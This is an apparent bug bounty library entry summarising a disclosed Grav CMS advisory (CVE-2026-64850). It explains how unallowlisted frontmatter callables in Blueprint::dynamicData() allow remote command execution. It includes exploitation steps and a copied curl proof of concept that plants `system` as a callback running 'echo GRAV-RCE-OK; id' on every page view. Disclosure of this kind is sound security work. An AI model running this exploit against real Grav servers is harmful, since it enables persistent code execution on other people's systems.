# Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

Grav's Blueprint::dynamicData() passes page frontmatter callables to call_user_func_array() unallowlisted, letting an admin.pages holder plant a shell command that runs for any visitor.

- Payout: Research
- Severity: high
- Program: Grav
- Found by: YuvalMil, MatiHub25, LeonKaya
- Disclosed: 2026-09-02
- CVE: CVE-2026-64850
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-fj2p-qj2f-74v5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fj2p-qj2f-74v5
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** Grav CMS page frontmatter / form plugin Blueprint dynamicData
**Root cause:** Blueprint::dynamicData() forwards a user-supplied `Class::method` string plus arguments to call_user_func_array() with no allowlist; page frontmatter flows into this path via the form plugin, so a page author controls the callable and its arguments.
**Steps:**
1. Obtain an admin session with `admin.pages` (or `api.pages.write`) and read `admin-nonce` from `window.GravAdmin.config.admin_nonce`.
2. POST to `/admin/pages/rcepoc` with `task=save`, the nonce, and `data[frontmatter]` containing a form field whose `data-opts@` is `['Grav\Common\Utils::arrayFilterRecursive', { 'echo GRAV-RCE-OK; id': 'x' }, system]`.
3. Request `GET /rcepoc` unauthenticated; response body begins with `GRAV-RCE-OK` and the web-server user's `id` output.
**How found:** Code review of Blueprint::dynamicData() at Blueprint.php:426 showing unvalidated call_user_func_array(), then tracing the form plugin (Form.php:432) as a frontmatter-controlled input path and identifying Utils::arrayFilterRecursive as a public static whose `$fn($key,$value)` signature lets `system` run the array key as a command.
**Exploitation:** Attacker with page-edit rights plants a frontmatter callable directive; on any later page view (including unauthenticated), the form plugin invokes arrayFilterRecursive with `system` as the callback and the command as the array key, executing it as the web-server user and reflecting output in the response.
**Escalation:** Payload planted once by a low-privilege page editor executes on every visit, including unauthenticated ones, converting page-edit rights into persistent server-side code execution.
**Insight:** When a framework exposes generic `Class::method` dispatch from user data, look for public statics whose callback signature passes attacker-controlled values as arguments — array-walk helpers like arrayFilterRecursive turn an array key into a command when `system` is the callback.

## Proof of concept (copied exactly from the original report)

**Save page with callable directive payload**

```
curl '<BASE_URL>/admin/pages/rcepoc' \
      -H 'Cookie: <SESSION_COOKIE>' \
      --data-urlencode 'task=save' \
      --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
      --data-urlencode 'data[folder]=rcepoc' \
      --data-urlencode 'data[name]=form' \
      --data-urlencode 'data[title]=x' \
      --data-urlencode 'data[content]=hi' \
      --data-urlencode "data[frontmatter]=forms:
      x:
        fields:
          y:
            type: text
            data-opts@:
              - 'Grav\Common\Utils::arrayFilterRecursive'
              - { 'echo GRAV-RCE-OK; id': 'x' }
              - system"
```

**Unauthenticated trigger request**

```
curl '<BASE_URL>/rcepoc'
```

